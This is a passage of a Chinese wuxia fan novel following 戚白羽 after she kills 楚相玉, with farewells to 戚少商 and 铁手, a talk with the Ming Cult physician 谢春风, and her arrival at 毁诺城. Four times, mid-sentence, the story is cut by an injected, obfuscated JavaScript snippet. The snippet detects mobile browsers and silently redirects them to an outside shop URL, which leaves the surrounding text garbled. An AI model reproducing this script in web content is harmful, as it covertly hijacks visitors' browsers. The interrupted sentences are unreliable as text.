“这根本不是开不开口的问题。”她打断了他,“我自己知道、我永远都会知道。可是我又无法毁掉容貌、散功重修!我厌恶他,又无可避免地成为他——” 她一脚踏空,深深踩进雪里,拔出脚时,留下这一片皑皑雪原中,唯一一个深深的足迹。 “我娘的半生、我的半生、这样多人前仆后继,原来就只为这么一个疯子。我只是想……结束这一切。”她低声说。 戚少商悚然转向她,一把抓住了她的手。 他是个风流多情的男人,正因如此,才对男女相处间的分寸极为敏感:因两人毕竟不是嫡亲兄妹,自从戚白羽长到十岁往上,他向来有意回避与她的肌肤相触。可是这一刻他好像忘记了所有世俗和避嫌,抓着她的手指那么紧,紧得在发抖:“白羽——不,别这样想。” 她无奈地笑了笑:“我恐怕没有办法决定自己怎么想。” 戚少商完全停下了脚步。他们一直以来,在以轻功卸劲,踏雪而行,一旦停步,自然而然便往雪地里陷下去。但是他似乎完全意识不到他们在缓缓下沉,只是心碎地望着她:“别这样。你还有大好时光,可以做你想做的事,否则这一生岂不是太不值得?” “我想做的事是什么?”她问,“大哥,你知道吗?” 她是真心实意地在发问,并不带任何讽刺,但戚少商却像是猛地被人打了一巴掌,打得他愣在原地。“你如果——但你——如果你不愿意待在连云寨、不愿意相助楚相玉,你怎么从来不同我说?” 这一次,情绪更激动的反而成了他。戚白羽将脚从雪地里拔出来,想要继续向前走,但戚少商双手铁钳一般地拽着她,将她留在原地,“我从不知道——你早可以去自由自在,游历天下,我岂曾强迫过你!” “你当然没有强迫我。”她耐着性子解释,只感觉他那些激烈的感情,都那样遥远,遥远得她无法理解,“但是我受你大恩,自当偿报,没有学完本领便远走的道理。你要相助楚相玉时出动了全寨人马,我若袖手旁观,像什么话?” 戚少商看起来像是被扇了一记耳光:“我将你作亲妹子抚养,并不是为了图你偿报。” “也不为了我是楚相玉的女儿?” 他哑口无言:想也知道,戚少商心肠再好,也不会待每一个无家可归的孤女都这样尽心竭力。她摇摇头,用了力拽一拽被他紧握的手:“好了,你为什么在意这件事?我的阿娘尚且要我代她报仇,大哥本无亲缘,养我这么久,这有什么?” “假如我早些告诉你,我不要你的回报——” “那也没有什么不同。”她说,语气平静得不像是在说一件与自己切身相关的事,“我娘不想要我,我就能否认她对我的生养之恩吗?沈云山、陈师、张师……他们的确只将我看做楚相玉的女儿,救他东山再起的一把刀,难道我就能否认他们的确倾尽心血地教授过我?我能安心领受这一切,然后只因为这不是我自己情愿做的事,就远远地逃开吗?” 她自嘲地笑了笑:“没错,最终我还是杀了楚相玉,辜负他们一番心血。但是,我总得先跟在你身边,等到见一见他的机会。怎能见都不见、试都不试,便抛弃这一切,抛弃我前面这二十几年人生?” 戚少商失魂落魄地松开了手。她继续向前走去,踏出一步,才意识到戚少商没有跟来。“你也恨我吗?”他在她身后低声问。 她惊讶地转身:“什么?” “你说得对,我一直将你作楚相玉的女儿来养,我为你延请名师,请来的都是楚相玉从前的部将。我将你接到身边,一同建立基业,为义军事业作准备,从没问过你是否愿意。若是我当年没有插手……你会比现在更快活吗?” “若是你当年没有插手,由他们来养我,我现在会是一把刀,而不是一个人。”她语气确凿,“一把刀是不会痛苦的。但那对我来说并不是更好的事。” 戚少商苦笑一下:“对不住。” 她感到一点感动,但这感动也被更加巨大的空茫掩盖了:“你我都知道,你很难做得比现在更多了。” “我本来可以不派你去阻拦追兵,”戚少商说,他的面上带着自厌与懊悔,像在坦诚一个耻辱的秘密,“我也应该可以放下你杀了楚相玉这件事。但我两样都做不到。我明知道他对不住你和你的母亲,明知道你内心里并不像他们所期待的那样,认同你的父亲——” “你的恩,我的仇,是两码事,并不相干。”戚白羽说,“好了,大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416070|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这件事情我们早就说定了。” 戚少商沉默下来。他陪伴她走到树林的边缘,她意识到他没有别的要问了,于是他们踏着被白雪覆盖的农田又折返。远远地就能看到他们踩出的那几处脚印,突兀地落在雪原之中。 “你说你要偿报于我,”戚少商说,“如果我要求的回报,是要你好好珍惜性命,继续活下来,可不可以?” 戚白羽睨他一眼:“刚才是谁说,不求报偿的?” 戚少商苦笑:“好,这不是报偿,我平生再不会向你要求任何还报。这算我求你。” 她沉默了一阵,承诺:“到了下一个地方,我会给你写信的。” “你不回寨中吗?”戚少商问。 “不回了。”她说。 隔阂已经存在,何必整日掩耳盗铃,装作楚相玉一事不曾发生过?但她这样说来,又好像在指责戚少商。于是她什么也没解释,任凭他以为,她只是自己想去散心。果然,戚少商只是点了点头,再也没有劝她,只是问:“你要去哪儿?” “我不知道。”戚白羽答。 阿娘曾以只有她们能听懂的语言向她反反复复地讲:你要习武、要报仇。要杀了楚相玉。也许是从她还不会说话的时候就在讲了,以至于当她有记忆的时候,这几句话已经被烙进脑海深处,分不清从何而始。 后来,她的老师们向她反反复复地讲:你要习武、要救出你父亲。他们苦口婆心地告诉她楚相玉是一个怎样的英雄明主,告诉她要成长为楚相玉麾下的将领,救他出狱,为他征战,追随他建立一个新王朝。 她总是沉默地点头,他们不知道她从没有真正相信那些话。这两种信念在她脑海里搅作一团,彼此吞噬和争斗,让她的骨架里填满混乱的冲突。 而冲突总是痛苦的。一开始她恨楚相玉,后来她恨那个刀客,恨金九龄,恨抛弃她的阿娘,恨那些将她作一把刀培养的老师。但他们随着她长大,一个个死去了或离开了,最后她无人可恨,只剩一片白茫茫的空虚。 如今十几年过去了,她习了武,她也杀了楚相玉。——然后呢? 她被给予的所有意义,好像都已结束。还剩下什么,能给自己呢? 要去看一看世间的风光吗?她不再有那样的闲情,只感到厌倦。要继续去杀那些恶人吗?或许也可以,但是杀了一个贪官,下一个未见得更好,这样的杀戮并没有尽头。要继续为了连云寨奔走吗?这些年间,她也接到过一些其他势力的招揽和邀约,可是他们也未见得比连云寨更好。 好像有很多她能做的事情,或者应做的事情,但是没有什么是她想做的事情。 她自问:如今我不再一定要追随或者杀死楚相玉。到底有什么,是我自己想要的?到底有什么,是还没有被楚相玉这个名字所沾染的? 她的心中只有茫茫的冰雪。 15. 第十五章 戚少商原是丢下了连云寨一大摊事情,前来寻她的,如今诸事已定,戚白羽又不再回去,他便没再回镇上,径自折返:为免给金九龄发现,他的马和行囊寄在不远处的另一处村子里。 戚白羽独自回了镇上,没有碰见任何人——正合她意。第二天清晨,天还未亮,她收拾行囊,便要离开。 教她意外的是,铁手坐在客店的大堂中,手边一截几近燃到底的残烛,正在等候。 他昨夜明明不曾回到客店。戚白羽见到他面,吃了一惊。铁手看见她出门,微笑一下,拾起手边一把箭矢,向她递过来。 她怔了一下,接过来时意识到,铁手一定是特意折返,拾了她的箭——里面有十来支箭尚且完好,还有两支从中劈作两半,他一定是走遍崖上崖下,每一支都不曾放过。铁手解释道:“回来之后,我才记起戚姑娘这箭特别打造,遗失了大约不便;何况箭上淬过毒,给附近村民捡去了更是不好,便又去拾了回来,但愿未曾遗漏。” 戚白羽道:“没有。”顿了顿,又道:“多谢你。” 她的箭的确是特意打造,在全力出手时,普通的箭矢承载不住她的内力。往日她以箭杀人,也会将箭矢捡回再用或重铸。只是发生的这一连串事情,给她的震动并非她表现出来的那样微不足道,在金九龄死后,她已完全忘了要捡回箭矢这回事。 没料到,铁手却先于她想起这件事,更没料到,他居然真去为她寻了回来。算算时间,他大约还是连夜翻遍了山上山下寻得的。 她经历过的无所求的善意并不多,慷慨至此的善意就更少。她的确很少认识这样的人。 “不必道谢,我亦有所求。”铁手道,“我可不敢想将戚姑娘抓去京城下狱,不过是否可以借几支箭,作为案件物证?” 她不以为意,信手拈了几支给他:“你自己留下不就是了。” 铁手道:“总要问过主人,才好借取。” 戚白羽点点头,又向衣襟内掏出一个小瓷瓶,从中倒出一粒药丸给他:“箭上淬的是‘枯兰散’,这是解药。” 铁手笑道:“多谢。”他收起药丸,很自然地侧过身来,跟在她身后,一并走出门。 “若是戚姑娘不往京城去,我们大约便不同路了。”他问道。 “我不往京城去。”戚白羽道,“那又怎么?” “那么,在分别前,我还欠你一个问题。”铁手道。 她蓦地笑了一笑,这一瞬即逝的笑影,如同剑锋上一闪的光亮:“你什么也不欠我。” “可是——” 戚白羽道:“连云寨从来没打算过向时震东寻仇,更不用你来接下这桩仇。我来此地,一直都只为了金九龄。” 铁手愣了一愣,也笑了:“原来如此。……但是,如果那日没有被金九龄打断,你想问什么呢?” 戚白羽回想了一下。 如今想来,那不过是短短的两天前的事情——算算时辰,是恰恰好好的两天。但这两天里,实在发生了太多事情;最近这段时间里,她的人生天翻地覆,以至于这样短暂的时光,回想起来竟然显得漫长。 “那天在山道上,你我还是第一次见面。”她说。 铁手道:“是。” “那时我还不清楚,你是敌是友。所以我故意几次试你。” “那看来铁某通过了考验?实在侥幸。” “我只试出你的确是个好人,但我仍旧看不透你。那天,在山道上,我想问你…… “你刚斩了楚相玉,大胜一场,现在正该是官场得意的时候——你又为什么如此烦忧?” 这并不是一个容易开口的话题,但铁手甚至没费神反驳。因为从看到她的第一眼起,他就明白,对于凭借痛苦相认的人,抵赖是无用的。 “请容我想想从何说起。”他道。 他凝神想了一阵,戚白羽也并不催促,只是平静地向着镇外走去,渐渐将民居和石板路都抛在身后。铁手走在稍靠后的地方,望着向前延伸的官道和两侧泛着微光的雪地,也望着她。 “我或许不能很好地答这个问题,因为我自己也不曾想明白。”在天边开始微微染上第一抹橙红色的时候,他说,“……而我正是因为想不明白而苦恼。我只能尽力去答,还望见谅。” 戚白羽道:“你说。” “归根结底,也许你的提问已说明了我苦恼的缘由。”铁手徐徐道,“不能说是我斩了楚相玉,也不能说,这是一场胜利。当时我们这一方,用尽计策,又是埋伏、又是淬毒、又是围攻;楚相玉却堂堂正正地正面凭借武功战胜了我,又因惜才,将我放了。若非如此,谁胜谁败,还未可知。” “又要战胜、又要光明正大。你要的未免也太多了。”戚白羽说。 铁手略作思考,点了点头:“你说得对。我正是要得太多了——我身为捕快,却不愿意只是听令行事。我不想杀人,只是想主持公道正义。但是楚相玉一案,让我发觉,或许朝廷法度和江湖道义,有时二者不可兼得。” “你觉得他是个英雄豪杰,就这样杀了他,不算是公道正义?”戚白羽轻声问,“那么什么才算是公道正义?把他抓回铁血大牢关着?把他抓到皇帝面前,重新受审?还是你要翻多年前的案卷,去追究一下到底是谁杀了他全家?” ——还能怎么翻案?下令杀他全家的自然是皇帝,而楚相玉亦确实三度刺杀皇帝,犯下足以诛九族的大罪,这件事注定成为一件再也说不清的无头公案。 铁手摇头道:“不。我正是为此苦恼,因为这件事,似乎没有一种处理办法可以成全公道正义。” “那么,你现在已见过他了,也听过他和戚少商的主张了。若是让你回到抓捕他的时候,再选一次,你会怎么做?你会选择帮他么?” 铁手面上显出一种苦涩而无奈的神情,他的回答却毫不迟疑:“我还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416071|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会这样做。” “那么,你所痛苦的,到底是因为所有的道路都是错误的,还是因为你不得不坚持在一条错误的路上走下去?”她问,“又或者,这两者没有分别?” “我不会说我走的是一条错误的路。这样的定论为时尚早。”铁手答道。 “那如果有朝一日,你终于觉得你走的——这么说吧——或许不是一条正确的路。你将如何呢?” 这一次铁手没有立时回答。他认真地思量良久,才道:“我不知道。或许不会有那一天。” “那么,祝你没有那一天。”戚白羽说。 她轻轻扬手,向铁手怀中抛了什么轻飘飘的东西,铁手连忙接住,却见那是一个空白的信封。 “这是我所知的,一些金九龄的把柄。”她淡淡道,“这几件事所涉的人,反正都已死了个干净。若是傅宗书一派拿金九龄的死攻击你,你大可将这些证据呈出来。” 铁手怔了一下,轻轻地呼出一口气:“你教我不知该如何报偿了。” “不必谢。你也帮了我,姑且算我们扯平了。” 天已渐渐放亮了,在道路的尽头,越过林梢,天边的云彩逐渐染上朝霞的颜色。戚白羽道:“不必送了。” “那么,戚姑娘,”铁手满怀诚挚、几近恳请地说,“希望能与你再次相会。” 她听得出来,这请求与戚少商相似,不过她和铁手之间关系没有那样近,因此更加含蓄罢了。他看得出她的苦楚,他亦试图挽留她。 但是,同戚少商的请求一样,这也是一个她还无法给出承诺的挽留。 他们最后互相点了点头,然后戚白羽转过身,沿着官道行去了。 - 铁手注视她的背影消失于风雪中。 她一定感知得到这束目光凝注在她的背上,但她没有回头。她今日换过衣衫,仍是一件素衣,没有什么纹饰,带着浅得近乎白色的青。 白衣侠客是个风流蕴藉的形象,但是武林之中,其实只有真正的高手,有实力能让自己的衣服不染片尘的那一小部分人,才会选择白衣。她一路杀人,终点是一场决死之战,带着的衣服仍旧全是浅色衣衫,显然平日穿惯,不作他想——几乎是一种不动声色的傲气。铁手纵使知道她一定不喜欢这种联想,也不禁觉得,这份傲气实在与楚相玉有几分相似。 可是,他又想,如果没有楚相玉,她是不是本来会更傲气、更明亮、更引人注目呢? 她是因楚相玉而烦忧吗,她为什么会觉得,这世上放眼望去,所有的道路都是错误的? 他什么都不知道。当然,他作为一个外人,不知道旁人的伤心事,本来也是应当的,但是,他却因此感到加倍的悬心和牵念。 他站在原地,望着戚白羽的身影远去,直至彻底消失在视线尽头。他心中有种说不清的滋味,无法分明方才这片刻间,自己究竟想了些什么、又或者什么都没想。 16. 第十六章 戚白羽一路行去,渐渐向南,风雪便渐小渐息。到湘楚地界时,已经不曾下雪,只有徘徊不去的湿冷冬风,缠绕在山野荆棘之间。 在一座寻常的江南小镇,她推开一扇最寻常的院门,进了里间。 这看去素朴的小院却收拾得干净雅致,墙新漆过、瓦才补过、院中栽着两棵腊梅,散发出满院醉人的幽香——很显然,此间主人哪怕只是暂居于此,也将这临时的落脚地精心打理过一番。院中一名戴着面纱的女子正侍弄那棵腊梅,看见戚白羽进来,直身向她点头致意。她脸上被面纱遮得严严实实,只露出一双美丽的眼睛,从目光之中,却可看出那双眼睛正在微笑。 偏房门口,还站着一名高大的汉子,满面虬髯,见戚白羽行来,笑道:“戚姑娘好准时。” 戚白羽也向他略一致意,推门而入。那汉子在她身后,即刻便将门合拢了。 屋里并没有床,靠墙放着一面墙的柜子,而后便只剩一整张巨大的桌子,占据了屋内全部的空间,大得教人不知道是如何搬进屋内的。眼下桌上分门别类,堆满了纸笺和各色药材,有些尚且完整、有些切片炮制过、有些只剩粉末。一名女子正在桌旁忙碌,听见门响,头也不回地道:“稍等一等,别过来。” 戚白羽当即停下脚步,候在门边。女子一面小心地将几种粉末混在一起,一面笑问道:“我给你的毒派上用场没有?” 戚白羽道:“用上了,很好用。” 屋内这女子,便是江湖中声名鹊起的年轻神医——“春风阎罗”,谢春风。 她有最高明的医术、最神秘的身世、和最捉摸不定的行踪。她的医术使温家不满,她的毒术令唐门忌惮,但在这两大家族隐约的敌视下,她仍旧安安生生地活到了如今,并且活得很是自在。一年里大约有半年时光,她会开门看诊,另外半年,谁也不知道她去了哪儿、在做什么。 谢春风对外宣称的是,她需要闭门研究,也需要走访同道。但戚白羽知道,那消失的半年里,她所做的远不止此。 她是明教仅次于教主之下的角色,是当今明教隐在暗处的三大护教法王——花君、岚君、剑君之中的“岚君”。当年大受打击、隐入地下的明教,这些年中一直谋划着推翻当今皇帝,谢春风借助游历江湖、居无定所之便,正是三大法王之中最活跃的一人。 眼下,这位正处于消失期间的神医终于小心地将那份药粉混合起来,倒入白瓷碗中。她回身笑道:“我身上还沾着药粉,不能带去其他房间,戚姑娘要移步别处谈谈的话,恐怕得等我更衣盥沐。若是着急,便恕我怠慢,在此一叙了。” “在此也无妨。”戚白羽道。 谢春风柔柔地笑了一笑。 任何一个人见到她,都会觉得她人如其名:她不像是个行走江湖的大夫,倒像个大家闺秀,一言一行都如春风般柔和,仿佛一笑间可令万物苏生。哪怕戚白羽心中很清楚,谢春风是个相当危险的人,有时她也会为这观音一般的慈悲容色恍惚一瞬。 谢春风便带着这样的笑、这样的温柔,对她说:“令慈的身子大体康健得很。因久居山间,潮气和瘴气多,难免有些许损伤,三五剂药便治好了。她不愿出山,因此山间屋子,我也请人整修过了,你大可放心。——哦,还有楚相玉已死的消息,我也如约带到了,她很高兴。” 戚白羽点了点头:“多谢。” “说什么话,该是我多谢你才对。”谢春风柔声道,“我们原以为,带在楚相玉身上的太子血书和太后手谕,都要从此失落了——戚姑娘竟愿带回太后手谕来,实在是教我喜出望外。别说治一个病人,就算十个百个,也义不容辞呀。” 当日楚相玉逃出铁血大牢时,身上曾携了先太子血书和太后手谕,可以证明当今皇帝得位不正之事。他将太子血书托付给了戚少商,戚少商又将这桩事秘密告知了戚白羽。于是,在楚相玉死后,戚白羽趁着在场诸人全数重伤昏迷的时机,悄悄搜了楚相玉的尸身,取回了那一封太后手谕。 保险起见,这两封珍贵的信物,最好不要放在一处。所幸,作为楚相玉的亲女儿,她的确结识过许多有志于造反大业的人。 “若是谢大夫此言当真,我也不要你救十人百人。再过十年,你再去看一次我母亲便是了。”她说道。 谢春风笑道:“好,若是再过十年,我还活着,我一定去。” 戚白羽抿了抿唇。 她还在期待什么?还在渴望什么呢?她早已清楚,对她来说是幼年的家的地方,对她的母亲来说只是囚笼;对她来说是亲情的东西,对她的母亲来说只是□□的证据。 但是,尽管她对楚相玉从未寄托过任何东西,她对自己的母亲……时至如今,依旧留恋未断。 “我母亲问过什么吗?”她轻声问。 谢春风的确无愧于她的温柔名声,她的表情没有任何波动,只是如同一个寻常问题一般微笑着答:“令慈细问了许久,楚相玉具体是怎么死的、谁杀的他、是否死透了,如是云云。她听说是你杀死了楚相玉,也很是高兴。——我知晓的,便是这些了。戚姑娘知道,我不通苗语,全凭中人翻译,若是有错漏的,还请你不要见怪。” 当然了,戚白羽知道,所谓翻译错漏,不过是托辞。谢春风在诊治上面,向来精心,她能重金砸出最好的翻译,叫他连一个语气词都不放过。但凡她的母亲问过一句有关于她的话,谢春风也能描补修饰,说出许多漂亮话来。 母亲不会想起来问她,可曾受了伤。这倒也是不出她意料的事情。 “我知道了。”戚白羽说,“多谢。” “以咱们之间交情,不必言谢。我倒有一事请教:如今楚相玉一事,尘埃落定。但是,两家之间的盟约,却并不是非他不可。”谢春风问,“戚姑娘今后作何打算、连云寨又作何打算呢?” 戚白羽轻轻一挑眉:“我若说不打算继续做盟友,今日便走不出这扇门么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416072|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢春风笑起来:“戚姑娘说笑了。在这桩事上,不是敌人,便能算作盟友。我知晓你一定不会投向当今皇帝的,不是么?” “楚相玉不也没投向当今皇帝?”戚白羽道,“只不过他想自己做皇帝。这也能算你们的盟友吗?” 谢春风的笑容收敛了些。 “楚相玉打算自立为王,我们的确不曾想到。”她正色道,“消息传到我们这里,殿下亦深为震惊。但那是楚相玉的事情,与连云寨无关。只要戚姑娘愿意,亦同你不相干。” “那殿下当真宽宏大量。”戚白羽不咸不淡地道。 谢春风像是全没听出她话中的怀疑:“殿下一向有容人之量。” 戚白羽轻轻吐了口气:“楚相玉一事,连云寨出头太多,接下来会安生发展些年。但,只要殿下大志未移,有什么事,只管同我大哥谈就是了。” “那你呢?” “我且要远走一阵子。”戚白羽道,“我想做点跟楚相玉不相干的事。” “那么,要去哪儿,你心中有计划了么?”谢春风闲聊家常一般问。 “怎么,谢大夫有什么推荐?” “我确实有个提议。戚姑娘考虑入我明教,做个外援么?我这儿一直缺人,待遇么,你都清楚,要钱要人,什么都能提。至于身份,你自然也不必担心,你瞧我身边‘黑白无常’,一向都无暴露身份之虞。” 戚白羽道:“那不还是在做同样的事?不过反从你的盟友变成你的手下了。” “那么,去北方看看如何?听说这些年间,草原上出了个雄主,边军一直很吃紧呢。” 戚白羽叹了口气:“说来说去,总归谢神医不愿放我离开造反大业了?” 谢春风轻笑起来:“哎呀,似你这样的人,百人难当、万金难求,自然要想方设法挽留才是。再说,你去了北方看一眼,觉得不合心意,不愿掺和进来,也没什么。我只觉得,这一身弓马骑射的绝技,若无用武之地,岂不可惜?” 戚白羽没答应也没拒绝。她反问道:“殿下大业,当不至于缺我一人。却不知,积蓄力量,要到何时呢?” 谢春风慢慢地彻底敛起了笑容。 “百业凋敝,生民艰辛,这样的日子过不长久。”她将声音放得极轻,“如今国库空乏,军队失训,如若不是由我们来颠覆,迟早要由北方狄人来血洗——戚姑娘,五年内,倘你愿为殿下效力,我们都将倒履相迎。” 戚白羽点了点头:“我会考虑的。请代我祝殿下夙愿得偿。” 谢春风颔首应下,将她送出房门。那虬髯男子仍守在门外,面纱女子却已不见踪影。 或许,她们两人的这一番谈话,在此刻已经被记录下来,又不知被送去了什么地方——谁知道呢?明教是如何在大清洗之后死灰复燃,如何静默地发展出庞大的地下教众,完全与她和戚少商走的不是同一条路子,她也看不透。 她离开了母亲的故乡,再度北上。 17. 第十七章 “你总算来了!”南晚楚见她第一句话,便这样说。 毁诺城有许多女子是自秦楼楚馆中救出,一个比一个生得美,但南晚楚在诸多美貌女子之中,也是别样的风情。她那淡色的唇、纤弱的身子、楚楚可怜的神色,教人面对她时说不出一句重话,更何况是面对她这样满面欢悦的表情。 戚白羽却不曾对她展露笑颜。她沉下脸色,问:“有谁欺负了你?” 南晚楚很勉强地牵动了一下嘴唇。戚白羽来得突然,她未及妆扮,笑容一落下去,便掩盖不住底下发红的眼眶和凄凉的神色。她没有答话,扯开话题道:“你倒好,几年也不来瞧一瞧我们!你看如今,守暗道的姐妹都不识得你了——这是白五妹,去年才入了城的。五妹,这是长缨姑娘,昔年建城时,她便出力良多,你只将她看做城中姐妹一般就好。” 连云寨和毁诺城对外一向摆出一副互相敌对的立场来,乃是为了双方的安全:若有人暗中计划着要对付哪一方势力,寻求盟友,另一方便容易及时传出警告。因要维持这种“敌对”,戚白羽作为戚少商的妹妹,是没法公然以原本面目行走于毁诺城中的。来此之前,她已戴上了面具,南晚楚等少数知情人,也只以她的化名“长缨”来称呼。 戚白羽向白五妹一点头,又对南晚楚道:“我这不是来效力了么?” 说话间,他们已经离开暗道出口,穿过城中街道。南晚楚指点给她:“这边几间是新建的,去年才刚建起来。中间连日阴雨,木头总干不了,还为着配先前的漆色,费了不少功夫。刘娘子和藤妹因触碰生漆,手都肿了,最后还是大娘亲自出马收了尾。如今屋子还晾着,暂作议事厅来用。” 戚白羽问:“原先的议事厅呢?” 南晚楚道:“那地方大娘嫌不够隐蔽,易攻难守;晚词嫌离她药房太远;我又嫌建得不够漂亮,如今改做了住房,收留新到的姐妹住下。说起新房,我们去年时还在城西建了一批。只是城中姐妹,如今来得越来越多,这一批新房,很快又将不够用的了。” 戚白羽问道:“如今城中有多少人?” 南晚楚不假思索,答道:“二百九十二人,其中有八名女童。” 要知道,毁诺城能力有限,所收容的只不过是附近的女子,息红泪虽然打出“收留天下不幸女子”的名号,但能够跋山涉水远道而来的、或者她们能主动知晓消息、去远处营救的女子,少之又少。在周围生活不幸的女子之中,又有许多人,宁可忍受家中的不幸,也无法下定决心抛舍一切,去另一个地方生活。 即便如此,毁诺城的人数仍旧比当日建城时,翻了一倍还多。 戚白羽一时不知道是该为她们能够到此而庆幸,还是为之感伤。但她也无暇和南晚楚多聊这个话题,因她们一路行来,下了楼梯、行过回廊,已经到了新的议事厅中。 息红泪正等在厅堂正中。 她脸上笑意盈盈,目光却很是深沉,仿佛自戚白羽一进屋,便在打量她。戚白羽望了望她,又转头一看南晚楚,问道:“怎么,今日我进了城来,没一个人见我是开心的。” 息红泪道:“怎么会!你太久不来,见了你,大家当然开心极了。只是……” 戚白羽知道她的意思,道:“你放心,连云寨没什么事,戚少商也没事。你就当是我与他吵了架,换个地方散散心。” 息红泪松了口气,失笑道:“那太好了,我们这城中,大为欢迎同戚少商吵了架的人!” 她们两人相识,说来也是一段奇妙缘分:当初戚白羽从草原出师,投奔戚少商时,息红泪与戚少商已经屡次因为戚少商拈花惹草而吵架,关系不复亲密。戚白羽掺和进去反而尴尬,那时她与息红泪,并没有留下什么交情。 不久之后,息红泪彻底心灰意冷,离开戚少商身边,创立毁诺城。到了这时,戚少商又觉对不起她,但碍着两人约好要假作敌对,他不能直接出手相帮。 于是,他派出那时候在武林中还声名不显的戚白羽,请她暗中助力。 要建一个只有女子的势力,不知要面对多少嘲讽、冷眼和贪欲,很能用得上一个蒙面高手,时不时出手把棘手的觊觎者打上一顿;也用得上一个内力深厚的姑娘,能辟开地下深处的硬土和岩石,也能轻松立起合抱粗的立柱。戚白羽着实没少出力,她们之间关系,在这段时日里反倒渐渐亲近起来。 因此,她在毁诺城里,依旧很是自在,也并不太过客气,只是同唐晚词、秦晚晴聚了一聚,几人叽叽喳喳,聊了一阵子。 她抵达毁诺城时,天色已不早了,很快到了密道机关例常巡视维护的时间,秦晚晴便先行离开。息红泪忽然想起来,道:“对了,眼看都快到晚饭时间了,还未与你安排住处——你就住晚楚隔壁如何?离我们都近。我记得晚楚左邻房子,是不是还空着的?” 南晚楚道:“嗯,我去找人清扫。” 她起身离开了。 息红泪仍在同戚白羽聊着:她预备住到什么时候?怎么只带这么少的行囊?是否干脆留在毁诺城过年?但她的目光,自打南晚楚一走,便一直望着门口。戚白羽心领神会,一边嘴上答着她的话,一边也留心南晚楚的足音。 直到在她耳中,那足音都已离得极远,南晚楚决不可能听清屋内人说话,她便止了话语。三人一起沉默下来,还是息红泪叹了口气,道:“你肯定也看出来了。” 戚白羽一点头,道:“她怎么回事?” 息红泪道:“还能怎么回事?她入了毁诺城,还是同从前的负心人藕断丝连,只不过被他再度辜负罢了!” 唐晚词冷笑道:“我们都说,要杀了那个负心汉,到了此时,她居然还是不许!” 息红泪苦笑道:“我倒是没资格说她。我只怕她自己做了傻事!” 戚白羽略一沉吟,道:“要杀人,我倒擅长。但她既然不许,那么杀人未必能解决问题。” 息红泪道:“我们姐妹四人,各有分工,平日里不可能时时伴她左右。因此想请你住她左近,好好盯一盯她,平日里同出同入,最好白日里还能有同一件事在忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416073|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这些天,她整日恍恍惚惚,有时别人叫她,她都听而不闻,我们实在担心。” 戚白羽想了一想,道:“要我看着她,这没问题。不过,那负心汉是谁?住在何处?又怎样辜负了她?” 唐晚词答道:“那人就在邻镇,正因离得近,我们才都没注意晚楚有时溜出城去,与他私会。那人做出一副浪子回头的样子,说什么幡然悔悟,知晓晚楚才是此生真爱,如此云云,将她骗了数个月,最后才知,原来他只是想骗晚楚告诉她毁诺城机关情报,以此换取富贵罢了!” 戚白羽又问:“既然如此,想必他们两个,如今联系已经彻底断绝了?” 息红泪道:“不断也要断!如今我们三人轮番检查,晚楚要出城、要收信,都要经过我们检查才行,绝不让他们再度往来。” 戚白羽道:“那不还是可以杀他?杀了他,不让晚楚知道,不就是了?” 唐晚词张了张嘴,又合上,似乎正欲劝她,自己却先动了心。息红泪无奈地一笑,道:“这办法还真是只有你会想!” 戚白羽问:“如何?只在邻镇,我夜间赶去,不到清晨便能回,绝不给晚楚察觉。” 息红泪道:“要杀他也该是我去杀,哪有客人一来就差遣你的……!” 说到一半,她才蓦然觉察,先前叫戚白羽看着南晚楚,岂不也是差遣她?一时自己也笑了。笑罢,息红泪站起身,道:“好了,不用你杀人。先劳烦你跟晚楚两日,我想想此事如何来办。” - 交际向来不是戚白羽的特长。她幼年就没有什么同伴可以聊天,后来又在草原孤零零地长大。如今那一点往来交际的本事,还是进了中原后,渐从戚少商和息红泪身上照葫芦画瓢地学得。 但是,要与南晚楚同进同出,实在很是简单。她的借口是现成的:数年没来毁诺城,城中大半面容都不认得,布局规划也一再变迁,正需要一个向导。 南晚楚恰恰便是毁诺城最好的向导。 